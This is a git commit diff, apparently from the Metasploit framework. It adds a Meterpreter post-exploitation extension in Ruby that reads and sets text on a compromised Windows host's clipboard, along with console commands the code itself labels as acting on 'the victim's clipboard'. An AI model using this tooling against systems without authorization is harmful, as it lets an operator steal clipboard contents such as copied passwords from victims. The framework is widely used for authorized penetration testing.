Add the start of clipboard support
This commit adds support for getting text-based information from the victim's clipboard and for setting text-based data to the victim's clipboard. Early days, with much wiggle room left for extra fun functionality.bug/bundler_fix
parent
ea89b5e880
commit
414a814d5d
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,50 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Extapi
|
||||||
|
module Clipboard
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This meterpreter extension contains extended API functions for
|
||||||
|
# querying and managing desktop windows.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Clipboard
|
||||||
|
|
||||||
|
def initialize(client)
|
||||||
|
@client = client
|
||||||
|
end
|
||||||
|
|
||||||
|
# Get the target clipboard data in whichever format we can
|
||||||
|
# (if it's supported.
|
||||||
|
def get_data()
|
||||||
|
request = Packet.create_request('extapi_clipboard_get_data')
|
||||||
|
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
|
||||||
|
|
||||||
|
return text
|
||||||
|
end
|
||||||
|
|
||||||
|
# Set the target clipboard data to a text value
|
||||||
|
def set_text(text)
|
||||||
|
request = Packet.create_request('extapi_clipboard_set_data')
|
||||||
|
|
||||||
|
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, text)
|
||||||
|
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_accessor :client
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end; end; end; end; end; end
|
|
@ -4,6 +4,7 @@
|
||||||
require 'rex/post/meterpreter/extensions/extapi/tlv'
|
require 'rex/post/meterpreter/extensions/extapi/tlv'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/window/window'
|
require 'rex/post/meterpreter/extensions/extapi/window/window'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/service/service'
|
require 'rex/post/meterpreter/extensions/extapi/service/service'
|
||||||
|
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
module Post
|
module Post
|
||||||
|
@ -29,7 +30,8 @@ class Extapi < Extension
|
||||||
'ext' => ObjectAliases.new(
|
'ext' => ObjectAliases.new(
|
||||||
{
|
{
|
||||||
'window' => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client),
|
'window' => Rex::Post::Meterpreter::Extensions::Extapi::Window::Window.new(client),
|
||||||
'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client)
|
'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
|
||||||
|
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client)
|
||||||
})
|
})
|
||||||
},
|
},
|
||||||
])
|
])
|
||||||
|
|
|
@ -28,6 +28,8 @@ TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP = TLV_META_TYPE_STRING | (TLV_TYPE_E
|
||||||
TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 25)
|
TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 25)
|
||||||
TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 26)
|
TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 26)
|
||||||
|
|
||||||
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -15,13 +15,15 @@ class Console::CommandDispatcher::Extapi
|
||||||
|
|
||||||
require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/window'
|
require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/window'
|
||||||
require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/service'
|
require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/service'
|
||||||
|
require 'rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard'
|
||||||
|
|
||||||
Klass = Console::CommandDispatcher::Extapi
|
Klass = Console::CommandDispatcher::Extapi
|
||||||
|
|
||||||
Dispatchers =
|
Dispatchers =
|
||||||
[
|
[
|
||||||
Klass::Window,
|
Klass::Window,
|
||||||
Klass::Service
|
Klass::Service,
|
||||||
|
Klass::Clipboard
|
||||||
]
|
]
|
||||||
|
|
||||||
include Console::CommandDispatcher
|
include Console::CommandDispatcher
|
||||||
|
|
|
@ -0,0 +1,114 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'rex/post/meterpreter'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Ui
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Extended API window management user interface.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Console::CommandDispatcher::Extapi::Clipboard
|
||||||
|
|
||||||
|
Klass = Console::CommandDispatcher::Extapi::Clipboard
|
||||||
|
|
||||||
|
include Console::CommandDispatcher
|
||||||
|
|
||||||
|
#
|
||||||
|
# List of supported commands.
|
||||||
|
#
|
||||||
|
def commands
|
||||||
|
{
|
||||||
|
"clipboard_get_data" => "Read the victim's current clipboard",
|
||||||
|
"clipboard_set_text" => "Write text to the victim's clipboard"
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Name for this dispatcher
|
||||||
|
#
|
||||||
|
def name
|
||||||
|
"Extapi: Clipboard Management"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options for the clipboard_get_data command.
|
||||||
|
#
|
||||||
|
@@get_data_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
def print_clipboard_get_data_usage()
|
||||||
|
print(
|
||||||
|
"\nUsage: clipboard_get_data [-h]\n\n" +
|
||||||
|
"Attempts to read the data from the victim's clipboard. If the data is in a\n" +
|
||||||
|
"supported format, it is read and returned to the user.\n\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Get the data from the victim's clipboard
|
||||||
|
#
|
||||||
|
def cmd_clipboard_get_data(*args)
|
||||||
|
@@get_data_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-h"
|
||||||
|
print_clipboard_get_data_usage
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
# currently we only support text values
|
||||||
|
value = client.extapi.clipboard.get_data()
|
||||||
|
|
||||||
|
if value.nil?
|
||||||
|
print_error( "The current Clipboard data format is not supported." )
|
||||||
|
else
|
||||||
|
print_line()
|
||||||
|
print_line( "Current Clipboard Text" )
|
||||||
|
print_line( "-----------------------------------------------------" )
|
||||||
|
print_line( value )
|
||||||
|
print_line( "-----------------------------------------------------" )
|
||||||
|
print_line()
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options for the clipboard_set_text command.
|
||||||
|
#
|
||||||
|
@@set_text_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
def print_clipboard_set_text_usage()
|
||||||
|
print(
|
||||||
|
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
|
||||||
|
"Set the target's clipboard to the given text value.\n\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Set the clipboard data to the given text.
|
||||||
|
#
|
||||||
|
def cmd_clipboard_set_text(*args)
|
||||||
|
args.unshift "-h" if args.length == 0
|
||||||
|
|
||||||
|
@@set_text_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-h"
|
||||||
|
print_clipboard_set_text_usage
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
return client.extapi.clipboard.set_text(args.join(" "))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue